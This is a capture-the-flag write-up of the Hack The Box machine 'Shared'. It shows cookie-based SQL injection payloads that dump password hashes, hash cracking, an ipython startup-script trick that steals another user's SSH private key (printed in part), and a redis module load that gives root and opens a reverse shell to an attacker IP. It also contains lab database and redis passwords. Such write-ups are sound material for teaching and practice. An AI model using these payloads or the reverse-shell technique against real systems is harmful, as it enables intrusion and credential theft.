Shared#
Enum#
nmap -sC -sV shared.htb -oN nmap.initial
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-16 20:39 IST
Nmap scan report for shared.htb (10.10.11.172)
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-robots.txt: 81 disallowed entries (15 shown)
| /*?order= /*?tag= /*?id_currency= /*?search_query=
| /*?back= /*?n= /*&order= /*&tag= /*&id_currency=
| /*&search_query= /*&back= /*&n= /*controller=addresses
|_/*controller=address /*controller=authentication
|_http-title: Did not follow redirect to https://shared.htb/
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
| http-robots.txt: 81 disallowed entries (15 shown)
| /*?order= /*?tag= /*?id_currency= /*?search_query=
| /*?back= /*?n= /*&order= /*&tag= /*&id_currency=
| /*&search_query= /*&back= /*&n= /*controller=addresses
|_/*controller=address /*controller=authentication
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Shared Shop
|_Requested resource was https://shared.htb/index.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.38 seconds
zsh: segmentation fault nmap -sC -sV shared.htb -oN nmap.initial
The tls cert has a wildcard for subdomains of shared.htb, so it’s worth enumerating vhosts
gobuster vhost -u shared.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shared.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/10/16 20:40:50 Starting gobuster in VHOST enumeration mode
===============================================================
Found: checkout.shared.htb (Status: 200) [Size: 3229]
Progress: 24281 / 151266 (16.05%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/10/16 20:44:16 Finished
===============================================================
Found checkout.shared.htb adding both in our hosts file
whatweb http://shared.htb
http://shared.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[https://shared.htb/], nginx[1.18.0]
https://shared.htb/ [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.172], RedirectLocation[https://shared.htb/index.php], nginx[1.18.0]
https://shared.htb/index.php [200 OK] Cookies[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], IP[10.10.11.172], JQuery, Open-Graph-Protocol[website], PoweredBy[PrestaShop], PrestaShop[EN], Script[application/ld+json,text/javascript], Title[Shared Shop], X-UA-Compatible[ie=edge], nginx[1.18.0]
The PHP session Cookies say prestashop
Dirbusting found quite a lot of 403 401 and so on, but the 200 are :
[20:40:28] 200 - 5KB - /INSTALL.txt
[20:40:31] 200 - 88B - /Makefile
[20:44:06] 200 - 411KB - /composer.lock
[20:48:01] 200 - 3KB - /robots.txt
*#&&&&&&&&&&&&.
#&&&&&&&&&&&&&&&&&&&&&&&&&(
*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
,&&&&&&&&&&&&&&&&&&&%%#%%%&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&*****************#&&&&&&&&&&&&&&
(&&&&&&&&&&&&*************************&&&&&&&&&&&&(
&&&&&&&&&&&%*****************************%&&&&&&&&&&&
&&&&&&&&&&%*********************************%&&&&&&&&&&
%&&&&&&&&&(********, *********, /&&&&&&&&&%
*&&&&&&&&&/*******. .*(((/. ****** /#* *&&&&&&&&&*
&&&&&&&&&(******* /%%%%%%%%%%%&&&&%,*** *&&&&&&%/&&&&&&&&&
*&&&&&&&&%*******/%%%%%%%%%%%%%((&&&&&%#*&&&&&&&&%%%&&&&&&&&
&&&&&&&&&/*****(%%%%%%%%%%%%%%#((%&&&&%%%*&&&&&&&(%%&&&&&&&&&
&&&&&&&&&*****%%%%%%%%%%%%%#/, @@ %&&%%%%#**&&&&/#%%&&&&&&&&&
&&&&&&&&&***&@@@@@@@@@@#///// @@%%%% ****@@ *@&&&&&&&&&
&&&&&&&&&**%@@@@@@@@@@@@@@@@@@# /@@@%%% *****/@@@@&&&&&&&&&
#&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@%%# *******@@&&&&&&&&&&
&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@%% *********(&&&&&&&&&
&&&&&&&&&&@@@@@@@@@@@@@@@&@@@@@@@% ************%&&&&&&%
&&&&&&&&&&@@@@@@@@@@@@@@@@ (@@@. **************(&&&&&
&&&&&&&&&&@@@@@@@@@@@@@@@@@, ************,,%&&&&&
&&&&&&&&&&&@@@@@@@@@@@@@@@@@* ,,,,,,,,,,,/&&&&&&&
&&&&&&&&&&&&@@@@@@@@@@@@@@@@ ,,,,,,,,(&&&&&&&&&
&&&&&&&&&(***(@@@@@@@@@@@@@@@# .,****(&&&&&&&&&
&&&&%*****/(((**#@@@@@@@@@@@#**(((/*****%&&&&
%*******(((/ /(((*******%
*****/#############((((((((((((/*****
*/#############((((((((((((/*
###########((((((((((
....... ... .****, **
.. ,.... ... *** ** **
.. .. ...... ....... ....... ..... ......... **. **,*****. ******* **.*****,
.. ... ... .. .. ... ... ... ... ******. *** ** ,** **, *** ***
......... ... ........ ..... ... .. ... *** ** ** ** ** ** **
.. ... ... . .. ... ,.. ... *, ** ** ** *** *** *** ,**
.. ... ....... ,...... ..... ......... ******** ** ** ******* ** ******
**
--- ===== Installation instructions for PrestaShop 1.7 ===== ---
=== Prerequirements
To install PrestaShop 1.7, you need a web server running PHP 7.1.3+ and any flavor of MySQL 5.5+ (MySQL, MariaDB, Percona Server, etc.).
You can find more information on our System requirements (https://devdocs.prestashop.com/1.7/basics/installation/system-requirements/) page and on the System Administrator Guide (https://doc.prestashop.com/display/PS16/System+Administrator+Guide).
=== Installing PrestaShop
Since you are reading this file, you have already downloaded the latest PrestaShop Zip archive and unzipped.
Here is the content of this archive:
* The prestashop.zip archive, which contains all the necessary files.
* The index.php file, which will automatically unzip the prestashop.zip archive for you.
* The Install_PrestaShop.html file, which redirects you to https://doc.prestashop.com/display/PS17/Installing+PrestaShop
From there on, follow these instructions:
1. Upload at least index.php and prestashop.zip on your web server.
2. From your web browser, go to the folder where index.php and prestashop.zip have been uploaded and browse index.php. The Zip archive should unzip automatically.
3. You are redirected to the PrestaShop installer. Follow the instructions.
After PrestaShop has successfuly been installed, delete the /install/ folder from your server.
Enjoy your store :)
Essential links about PrestaShop:
* User Guide: https://doc.prestashop.com/display/PS17/User+Guide
* Tech docs (modules & themes): https://devdocs.prestashop.com/
* Official blog: https://www.prestashop.com/en/blog
* Developer blog: https://build.prestashop.com/
* Get community support: https://www.prestashop.com/forums/
* Get paid support: https://www.prestashop.com/en/support
* Find modules and themes: https://addons.prestashop.com/
* Contribute with code: https://github.com/PrestaShop/PrestaShop
* Contribute with translation: https://crowdin.net/project/prestashop-official
PrestaShop - WeCommerce Is Better eCommerce
from the composer.lock
{
"name": "prestashop/blockwishlist",
"version": "v2.0.1",
"source": {
"type": "git",
"url": "https://github.com/PrestaShop/blockwishlist.git",
"reference": "51d527730ce58aac136aac37f624592696be6f9d"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/PrestaShop/blockwishlist/zipball/51d527730ce58aac136aac37f624592696be6f9d",
"reference": "51d527730ce58aac136aac37f624592696be6f9d",
"shasum": ""
},
"require-dev": {
"prestashop/php-dev-tools": "~3.0"
},
"type": "prestashop-module",
"autoload": {
"psr-4": {
"PrestaShop\\Module\\BlockWishList\\": "src/"
},
"classmap": [
"blockwishlist.php",
"controllers",
"classes"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"AFL-3.0"
],
"authors": [
{
"name": "PrestaShop SA",
"email": "contact@prestashop.com"
}
],
"description": "PrestaShop module blockwishlist",
"homepage": "https://github.com/PrestaShop/blockwishlist",
"support": {
"source": "https://github.com/PrestaShop/blockwishlist/tree/v2.0.1"
},
"time": "2021-05-27T15:29:15+00:00"
},
So so far we have a lot of information, and a lot of noise but the things potentially worth investigating are :
PrestaShop 1.7
PrestaShop blockwishlist 2.0.1
Blockwishlist sqli:#
https://www.cybersecurity-help.cz/vdb/SB2022072609
https://github.com/PrestaShop/blockwishlist/commit/b3ec4b85af5fd73f74d55390b226d221298ca084
According the the PR this was fixed in 2.1.1 so this might still be it:
searchsploit blockwish
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
Prestashop blockwishlist module 2.1.0 - SQLi | php/webapps/51001.py
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Making an account and starting to poke around with the wishlist, the actual cart in this implementation is sent to the checkout.shared.htb page through the custom_cart
cookie, which we can tamper with.
Once url decoded the cookie looks like this:
{"7DA8SKYP":"1"} # Normal cookie the id shows up in the checkout page under product
{"asdf":"1"} # If we set a value that we know to be false, we see Not Found under product
{"asdf' or 1=1 -- -":"1"} # we know asdf returns false so if injection is possible, this would be true, and it is (product 53GG2EF8)
Fit the query to the number of fields
{"asdf' union select 1 -- -":"1"} # False
{"asdf' union select 1,2 -- -":"1"} # False
{"asdf' union select 1,2,3 -- -":"1"} # True as there are 3 fields
{"asdf' union select 1,2,3,4 -- -":"1"} # False
Use the product id field (2) to concatenate and dump all table names from the information schema
{"asdf' union select 1,(select group_concat(table_name separator '|') from information_schema.tables),3 -- -":"1"}
ALL_PLUGINS|APPLICABLE_ROLES|CHARACTER_SETS|CHECK_CONSTRAINTS|COLLATIONS|COLLATION_CHARACTER_SET_APPLICABILITY|COLUMNS|COLUMN_PRIVILEGES|ENABLED_ROLES|ENGINES|EVENTS|FILES|GLOBAL_STATUS|GLOBAL_VARIABLES|KEYWORDS|KEY_CACHES|KEY_COLUMN_USAGE|OPTIMIZER_TRACE|PARAMETERS|PARTITIONS|PLUGINS|PROCESSLIST|PROFILING|REFERENTIAL_CONSTRAINTS|ROUTINES|SCHEMATA|SCHEMA_PRIVILEGES|SESSION_STATUS|SESSION_VARIABLES|STATISTICS|SQL_FUNCTIONS|SYSTEM_VARIABLES|TABLES|TABLESPACES|TABLE_CONSTRAINTS|TABLE_PRIVILEGES|TRIGGERS|USER_PRIVILEGES|VIEWS|CLIENT_STATISTICS|INDEX_STATISTICS|INNODB_SYS_DATAFILES|GEOMETRY_COLUMNS|INNODB_SYS_TABLESTATS|SPATIAL_REF_SYS|INNODB_BUFFER_PAGE|INNODB_TRX|INNODB_CMP_PER_INDEX|INNODB_METRICS|INNODB_LOCK_WAITS|INNODB_CMP|THREAD_POOL_WAITS|INNODB_CMP_RESET|THREAD_POOL_QUEUES|TABLE_STATISTICS|INNODB_SYS_FIELDS|INNODB_BUFFER_PAGE_LRU|INNODB_LOCKS|INNODB_FT_INDEX_TABLE|INNODB_CMPMEM|THREAD_POOL_GROUPS|INNODB_CMP_PER_INDEX_RESET|INNODB_SYS_FOREIGN_COLS|INNODB_FT_INDEX_CACHE|INNODB_BUFFER_POOL_STATS|INNODB_FT_BEING_DELETED|INNODB_SYS_FOREIGN|INNODB_CMPMEM_RESET|INNODB_FT_DEFAULT_STOPWORD|INNODB_SYS_TABLES|INNODB_SYS_COLUMNS|INNODB_FT_CONFIG|USER_STATISTICS|INNODB_SYS_TABLESPACES|INNODB_SYS_VIRTUAL|INNODB_SYS_INDEXES|INNODB_SYS_SEMAPHORE_WAITS|INNODB_MUTEXES|user_variables|INNODB_TABLESPACES_ENCRYPTION|INNODB_FT_DELETED|THREAD_POOL_STATS|user|product
Do the same thing to get all columns for the user table
{"asdf' union select 1,(select group_concat(column_name separator '|') from information_schema.columns where table_name='user'),3-- -":"1"}
id|username|password
And finally dump the data we need
{"asdf' union select 1,(select group_concat(concat(username,'|',password) separator ';') from user),3-- -":"1"}
james_mason|fc895d4eddc2fc12f995e18c865cf273
Hash Cracking#
Thats 32 hex so possibly MD5
printf 'fc895d4eddc2fc12f995e18c865cf273'|wc -c
32
Crackstation does it too, but here’s how to do it with hashcat
hashcat -m 0 fc895d4eddc2fc12f995e18c865cf273 /usr/share/wordlists/rockyou.txt 1 ⨯
hashcat (v6.2.5) starting
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: pthread-0x000, 2914/5893 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
fc895d4eddc2fc12f995e18c865cf273:Soleil101
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: fc895d4eddc2fc12f995e18c865cf273
Time.Started.....: Mon Oct 17 00:17:27 2022 (1 sec)
Time.Estimated...: Mon Oct 17 00:17:28 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 6404.7 kH/s (0.10ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2091008/14344385 (14.58%)
Rejected.........: 0/2091008 (0.00%)
Restore.Point....: 2088960/14344385 (14.56%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: TEAMODARIO -> Smudge77
Started: Mon Oct 17 00:17:26 2022
Stopped: Mon Oct 17 00:17:29 2022
And this is a valid username:password for ssh
Privesc from james to dan#
Probing around to see what we can find, users with a shell are james root and dan, and the user flag is in dan
grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
james_mason:x:1000:1000:james_mason,,,:/home/james_mason:/bin/bash
dan_smith:x:1001:1002::/home/dan_smith:/bin/bash
There’s the mysql we already looted and something on port 6379
netstat -tulpen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 106 13494 -
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN 0 284021 -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 13447 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 12591 -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 13448 -
tcp6 0 0 :::22 :::* LISTEN 0 12593 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 12476 -
That’s a redis instance
grep 6379 /etc/services
redis 6379/tcp
We have already looted the MySQL database, but the password for it may be useful somewhere else
cat /var/www/checkout.shared.htb/config/db.php
<?php
define('DBHOST','localhost');
define('DBUSER','checkout');
define('DBPWD','a54$K_M4?DdT^HUk');
define('DBNAME','checkout');
?>
Running pspy64 there’s a cronjob running /root/c.sh which does something with redis
2022/10/16 19:55:06 CMD: UID=0 PID=2137 | perl -ne s/\((\d+)\)/print " $1"/ge
2022/10/16 19:55:06 CMD: UID=0 PID=2136 | /bin/bash /root/c.sh
2022/10/16 19:55:06 CMD: UID=0 PID=2135 | /bin/bash /root/c.sh
2022/10/16 19:55:06 CMD: UID=0 PID=2138 | pidof redis-server
2022/10/16 19:55:06 CMD: UID=0 PID=2141 | /sbin/init
Another cronjob is killing ipython, moving to /opt/scripts_review
and running ipython again
2022/10/16 19:56:01 CMD: UID=0 PID=2151 | /usr/sbin/CRON -f
2022/10/16 19:56:01 CMD: UID=1001 PID=2152 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/10/16 19:56:01 CMD: UID=1001 PID=2153 | /usr/bin/python3 /usr/local/bin/ipython
There’s a privesc for ipython as described here:
https://github.com/advisories/GHSA-pq7m-3gw7-gq5x
So we can create a startup directory in there
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
And drop a simple python script that will copy dan’s key to tmp, as we have been able to observe that the .ssh folder exists for him
#!/usr/bin/python3
with open("/home/dan_smith/.ssh/id_rsa", "r") as f:
key = f.read()
with open("/tmp/dan_rsa", "w") as f:
f.write(key)
cat dan_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvWFkzEQw9usImnZ7ZAzefm34r+54C9vbjymNl4pwxNJPaNSHbdWO
+/+OPh0/KiPg70GdaFWhgm8qEfFXLEXUbnSMkiB7JbC3fCfDCGUYmp9QiiQC0xiFeaSbvZ
FwA4NCZouzAW1W/ZXe60LaAXVAlEIbuGOVcNrVfh+XyXDFvEyre5BWNARQSarV5CGXk6ku
sjib5U7vdKXASeoPSHmWzFismokfYy8Oyupd8y1WXA4jczt9qKUgBetVUDiai1ckFBePWl
4G3yqQ2ghuHhDPBC+lCl3mMf1XJ7Jgm3sa+EuRPZFDCUiTCSxA8LsuYrWAwCtxJga31zWx
FHAVThRwfKb4Qh2l9rXGtK6G05+DXWj+OAe/Q34gCMgFG4h3mPw7tRz2plTRBQfgLcrvVD
oQtePOEc/XuVff+kQH7PU9J1c0F/hC7gbklm2bA8YTNlnCQ2Z2Z+HSzeEXD5rXtCA69F4E
u1FCodLROALNPgrAM4LgMbD3xaW5BqZWrm24uP/lAAAFiPY2n2r2Np9qAAAAB3NzaC1yc2
EAAAGBAL1hZMxEMPbrCJp2e2QM3n5t+K/ueAvb248pjZeKcMTST2jUh23Vjvv/jj4dPyoj
4O9BnWhVoYJvKhHxVyxF1G50jJIgeyWwt3wnwwhlGJqfUIokAtMYhXmkm72RcAODQmaLsw
FtVv2V3utC2gF1QJRCG7hjlXDa1X4fl8lwxbxMq3uQVjQEUEmq1eQhl5OpLrI4m+VO73Sl
...............................SNIP...................................
2AwUg3cT7kmKUdAvBHsj20uwv8a1ezFQNN5vxTnQPQLTiZoUIR7FDTOkQ0W3hfvjznKXTM
wictz9NZYWpEZQAuSX2QJgBJc1WNOtrgJscNauv7MOtZYclqKJShDd/NHUGPnNasHiPjtN
CRr7thGmZ6G9yEnXKkjZJ1Neh5Gfx31fQBaBd4XyVFsvUSphjNAAAAwQD4Yntc2zAbNSt6
GhNb4pHYwMTPwV4DoXDk+wIKmU7qs94cn4o33PAA7ClZ3ddVt9FTkqIrIkKQNXLQIVI7EY
Jg2H102ohz1lPWC9aLRFCDFz3bgBKluiS3N2SFbkGiQHZoT93qn612b+VOgX1qGjx1lZ/H
I152QStTwcFPlJ0Wu6YIBcEq4Rc+iFqqQDq0z0MWhOHYvpcsycXk/hIlUhJNpExIs7TUKU
SJyDK0JWt2oKPVhGA62iGGx2+cnGIoROcAAADBAMMvzNfUfamB1hdLrBS/9R+zEoOLUxbE
SENrA1qkplhN/wPta/wDX0v9hX9i+2ygYSicVp6CtXpd9KPsG0JvERiVNbwWxD3gXcm0BE
wMtlVDb4WN1SG5Cpyx9ZhkdU+t0gZ225YYNiyWob3IaZYWVkNkeijRD+ijEY4rN41hiHlW
HPDeHZn0yt8fTeFAm+Ny4+8+dLXMlZM5quPoa0zBbxzMZWpSI9E6j6rPWs2sJmBBEKVLQs
tfJMvuTgb3NhHvUwAAAAtyb290QHNoYXJlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Now as dan we have access to the sysadmin group
id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
And the only thing it gives access to is this
find / -group sysadmin 2> /dev/null
/usr/local/bin/redis_connector_dev
That’s a C binary, probaly what the other cronjob we observed earlier is triggering through /root/c.sh
file redis_connector_dev
redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
Lets exfiltrate it, and move it to an amd64 machine. Now we could do some fancy binary reversing, but the filename literally says redis_connector
, so it’s a pretty safe assumption to make, that it will attempt to connect to redis. Lets try just kicking off the binary while listening on the redis port.
nc -lvnp 6379
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59976
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq
And sure enough that’s the password
redis-cli
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK
There’s apparently no key value pairs in this redis instance, but we might still be able to use it as a Privilege escalation vector
127.0.0.1:6379> KEYS *
(empty array)
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
Using the above we’re building a redis module writen in C from an amd64 machine. And then loading it from the running redis instance. That module then lets us call system commands, or run a reverse shell.
127.0.0.1:6379> module load /dev/shm/module.so
OK
127.0.0.1:6379> INFO modules
# Modules
module:name=system,ver=1,api=1,filters=0,usedby=[],using=[],options=[]
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK
127.0.0.1:6379> module load /dev/shm/module.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.rev 10.10.14.139 4242
Catching the shell
rlwrap nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.139] from (UNKNOWN) [10.10.11.172] 33752
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/var/lib/redis
id
uid=0(root) gid=0(root) groups=0(root)
Notes on how to steer things around in redis-cli
redis-cli -h localhost -p 6379
redis-cli
INFO # if NOAUTH Authentication required, then auth is needed
AUTH password # redis can be configured to have only a password
AUTH user password # or both a username and a password
INFO keyspace # equivalent to a show databases
SELECT 1 # select database 1
KEYS * # List all keys in database 1
get key:1
set key:1 newvalue
del key:1
MODULE LOAD /path/to/mymodule.so # load a module at runtime